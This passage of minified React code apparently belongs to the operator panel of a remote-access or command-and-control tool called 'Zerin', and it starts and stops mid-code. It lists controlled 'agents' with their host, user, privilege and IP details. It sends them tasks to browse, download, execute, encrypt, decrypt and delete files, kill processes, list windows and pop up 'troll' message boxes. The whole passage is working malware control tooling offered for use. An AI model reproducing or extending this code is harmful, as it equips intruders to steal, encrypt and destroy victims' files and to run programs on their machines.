resize-none\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>z(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:()=>{T.trim()&&Ce(N.agentId,{command:"troll_msgbox",args:[T,O||"Zerin"]}).catch(A=>{o(`Failed to submit task: ${A instanceof Error?A.message:"unknown error"}`)}),z(null)},disabled:!T.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r transition-colors`,children:"Send"})]})]})})]})}function Vl({label:e,value:t,active:n,onClick:r}){return s.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[s.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function bU({column:e,sort:t}){return t.column!==e?s.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function wU({agent:e,onNavigate:t,onTagsChange:n}){return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(nd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&s.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[s.jsx(fn,{label:"Hostname",value:e.hostname}),s.jsx(fn,{label:"Username",value:e.username}),s.jsx(fn,{label:"OS",value:jo(e.os)}),s.jsx(fn,{label:"Architecture",value:e.arch}),s.jsx(fn,{label:"PID",value:String(e.pid),mono:!0}),s.jsx(fn,{label:"Integrity",value:e.integrity}),s.jsx(fn,{label:"Internal IP",value:e.internal_ip,mono:!0}),s.jsx(fn,{label:"External IP",value:e.external_ip,mono:!0}),s.jsx(fn,{label:"Sleep / Jitter",value:u5(e.sleep_interval,e.jitter),mono:!0}),s.jsx(fn,{label:"Agent ID",value:Ws(e.id),mono:!0}),s.jsx(fn,{label:"First Seen",value:wo(e.first_seen)}),s.jsx(fn,{label:"Last Seen",value:Bc(e.last_seen)})]}),s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),s.jsx(mU,{tags:e.tags??[],onChange:n})]}),s.jsx("div",{className:"border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",s.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function fn({label:e,value:t,mono:n=!1}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),s.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const jU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},kU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},NU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function SU({lines:e,className:t=""}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0);return p.useEffect(()=>{var a;e.length>i.current&&((a=r.current)==null||a.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),s.jsxs("div",{className:` bg-zerin-bg border border-zerin-panel-border font-mono text-sm overflow-hidden flex flex-col ${t} `,children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),s.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),s.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&s.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[s.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((a,o)=>s.jsxs("div",{className:`${jU[a.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[a.timestamp&&s.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:a.timestamp}),s.jsx("span",{className:`${NU[a.type]} select-none`,children:kU[a.type]}),a.content]},o)),s.jsx("div",{ref:r})]})]})}function zU({agentId:e,agentStatus:t}){const[n,r]=p.useState("C:\\"),[i,a]=p.useState([]),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),[y,v]=p.useState(null),[b,w]=p.useState(""),[j,k]=p.useState(""),S=t==="dead",N=p.useRef(null),z=p.useRef(null),O=p.useRef(null);p.useEffect(()=>()=>{N.current&&clearInterval(N.current)},[]),p.useEffect(()=>{if(!m)return;const H=re=>{re.button!==2&&z.current&&!z.current.contains(re.target)&&h(null)},G=re=>{re.key==="Escape"&&h(null)};return document.addEventListener("mousedown",H),document.addEventListener("keydown",G),()=>{document.removeEventListener("mousedown",H),document.removeEventListener("keydown",G)}},[m]),p.useEffect(()=>{y&&setTimeout(()=>{var H;return(H=O.current)==null?void 0:H.focus()},50)},[y]);const _=p.useCallback(H=>new Promise((G,re)=>{let oe=0;const he=30,pe=setInterval(async()=>{var Y;oe++;try{const C=(Y=(await Rn(e)).results)==null?void 0:Y.find(E=>E.task_id===H);C?(clearInterval(pe),C.error?re(new Error(C.error)):G({output:C.output,data:C.data})):oe>=he&&(clearInterval(pe),re(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),T=p.useCallback(async H=>{if(!S){l(!0),u(""),a([]),N.current&&(clearInterval(N.current),N.current=null);try{const{task_id:G}=await Ce(e,{command:"ls",args:[H]});r(H),f(!0);let re=0;const oe=30;N.current=setInterval(async()=>{var he;re++;try{const Y=(he=(await Rn(e)).results)==null?void 0:he.find(ee=>ee.task_id===G);if(Y){if(N.current&&clearInterval(N.current),N.current=null,l(!1),Y.error){u(Y.error);return}if(Y.output){const ee=Y.output.split(` `).slice(2),C=[];for(const E of ee){if(E.length<35)continue;const X=E.substring(0,12).trim(),I=E.substring(13,33).trim();let ne=E.substring(34).trim();if(!ne||ne==="."||ne==="..")continue;const me=X==="";(ne.endsWith("/")||ne.endsWith("\\"))&&(ne=ne.slice(0,-1)),C.push({name:ne,isDir:me,size:me?void 0:X,modified:I})}a(C)}}else re>=oe&&(N.current&&clearInterval(N.current),N.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(G){u(G instanceof Error?G.message:"Failed to send command"),l(!1)}}},[e,S]),P=H=>{if(H.name.includes("..")||H.name.includes("/")||H.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const G=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+G+H.name},R=H=>{k(H),setTimeout(()=>k(""),5e3)},V=async H=>{h(null),g("download"),u(""),k("");try{const G=P(H),{task_id:re}=await Ce(e,{command:"download",args:[G]}),oe=await _(re);if(oe.data){let he;try{he=atob(oe.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const pe=new Uint8Array(he.length);for(let E=0;E{h(null),g("delete"),u(""),k("");try{const G=P(H),{task_id:re}=await Ce(e,{command:"delete",args:[G]});await _(re),R(`Deleted ${H.name}`),T(n)}catch(G){u(G instanceof Error?G.message:"Delete failed")}finally{g(null)}},L=async(H,G,re)=>{v(null),w(""),g(H),u(""),k("");try{const oe=P(G),{task_id:he}=await Ce(e,{command:H,args:[oe,re]}),pe=await _(he);R(pe.output||`${H==="encrypt"?"Encrypted":"Decrypted"} ${G.name}`),T(n)}catch(oe){u(oe instanceof Error?oe.message:`${H} failed`)}finally{g(null)}},W=async H=>{h(null),g("execute"),u(""),k("");try{const G=P(H),{task_id:re}=await Ce(e,{command:"execute",args:[G]}),oe=await _(re);R(oe.output||`Executed ${H.name}`)}catch(G){u(G instanceof Error?G.message:"Execute failed")}finally{g(null)}},B=(H,G)=>{H.preventDefault(),H.stopPropagation();const re=180,oe=220;let he=H.clientX,pe=H.clientY;he+re>window.innerWidth&&(he=window.innerWidth-re-8),pe+oe>window.innerHeight&&(pe=window.innerHeight-oe-8),h({x:Math.max(4,he),y:Math.max(4,pe),entry:G})},U=()=>{!y||!b.trim()||L(y.action,y.entry,b)},F=n.split(/[/\\]/).filter(Boolean);return s.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:H=>{H.preventDefault(),h(null)},children:[s.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[s.jsx("button",{onClick:()=>T("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:S,children:"root"}),F.map((H,G)=>s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:()=>{const re=F.slice(0,G+1).join("\\")+"\\";T(re)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:S,children:H})]},G))]}),s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:()=>T(n),disabled:S||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),S&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&s.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(H=>s.jsxs("button",{onClick:()=>{if(H.isDir){const G=n.endsWith("\\")||n.endsWith("/")?"":"\\";T(n+G+H.name)}},onContextMenu:G=>B(G,H),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r border-b border-zerin-panel-border last:border-b-0\r hover:bg-zerin-panel-hover transition-colors text-sm`,children:[s.jsx("span",{className:"text-zerin-text-muted",children:H.isDir?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),s.jsx("span",{className:H.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:H.name})]},H.name))]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),m&&s.jsxs("div",{ref:z,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:m.x,top:m.y},children:[s.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:s.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:m.entry.name})}),s.jsxs("button",{onClick:()=>V(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),s.jsxs("button",{onClick:()=>W(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),s.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>$(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&s.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:H=>H.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),s.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),s.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),s.jsx("input",{ref:O,type:"password",value:b,onChange:H=>w(H.target.value),onKeyDown:H=>{H.key==="Enter"&&U(),H.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r transition-all mb-4`}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:U,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r transition-colors capitalize`,children:y.action})]})]})})]})}function CU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState(null),[x,g]=p.useState(null),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:S}=await Ce(e,{command:"ps"});u(!0);let N=0;const z=30;v.current=setInterval(async()=>{var O;N++;try{const T=(O=(await Rn(e)).results)==null?void 0:O.find(P=>P.task_id===S);if(T){if(v.current&&clearInterval(v.current),v.current=null,a(!1),T.error){l(T.error);return}if(T.output){const P=T.output.split(` `).filter(L=>L.trim()),R=[];for(const L of P){const W=L.trim().split(/\s+/);if(W.length>=2){const B=parseInt(W[0],10);if(!isNaN(B)){const U=W.length>=3?parseInt(W[1],10):0,F=!isNaN(U)&&W.length>=3,H=F?W.length>=4&&W.slice(3).join(" ")||W[2]:W.slice(1).join(" "),G=F&&W.length>=4?W[2]:void 0;R.push({pid:B,ppid:F?U:0,name:H,user:G,children:[]})}}}const V=new Map;R.forEach(L=>V.set(L.pid,L));const $=[];for(const L of R){const W=V.get(L.ppid);W&&W!==L?W.children.push(L):$.push(L)}r($.length>0?$:R.map(L=>({...L,children:[]})))}}else N>=z&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(S){l(S instanceof Error?S.message:"Failed to send command"),a(!1)}}},[e,y]),w=(S,N)=>{if(!N)return S;const z=N.toLowerCase();return S.filter(O=>{const _=O.name.toLowerCase().includes(z)||String(O.pid).includes(z),T=w(O.children,N).length>0;return _||T})},j=p.useCallback(async S=>{h(S),g(null);try{await Ce(e,{command:"kill",args:[String(S)]}),setTimeout(b,2e3)}catch(N){l(N instanceof Error?N.message:"Failed to kill process")}finally{h(null)}},[e,b]),k=w(n,d);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:S=>f(S.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),s.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:k.map(S=>s.jsx(D3,{process:S,depth:0,confirmKillPid:x,killingPid:m,onKillClick:N=>g(N),onKillConfirm:j,onKillCancel:()=>g(null)},S.pid))})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function D3({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o}){const[l,c]=p.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r border-b border-zerin-panel-border last:border-b-0\r hover:bg-zerin-panel-hover transition-colors text-xs`,children:[s.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),s.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&s.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),s.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),s.jsx("span",{children:f?s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>a(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?s.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(m=>s.jsx(D3,{process:m,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o},m.pid))]})}function PU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useCallback(async()=>{if(!m){a(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Ce(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const k=(w=(await Rn(e)).results)==null?void 0:w.find(S=>S.task_id===y);if(k){if(h.current&&clearInterval(h.current),h.current=null,a(!1),k.error){l(k.error);return}if(k.output)try{const S=JSON.parse(k.output);r(S)}catch{l("Failed to parse window list")}}else 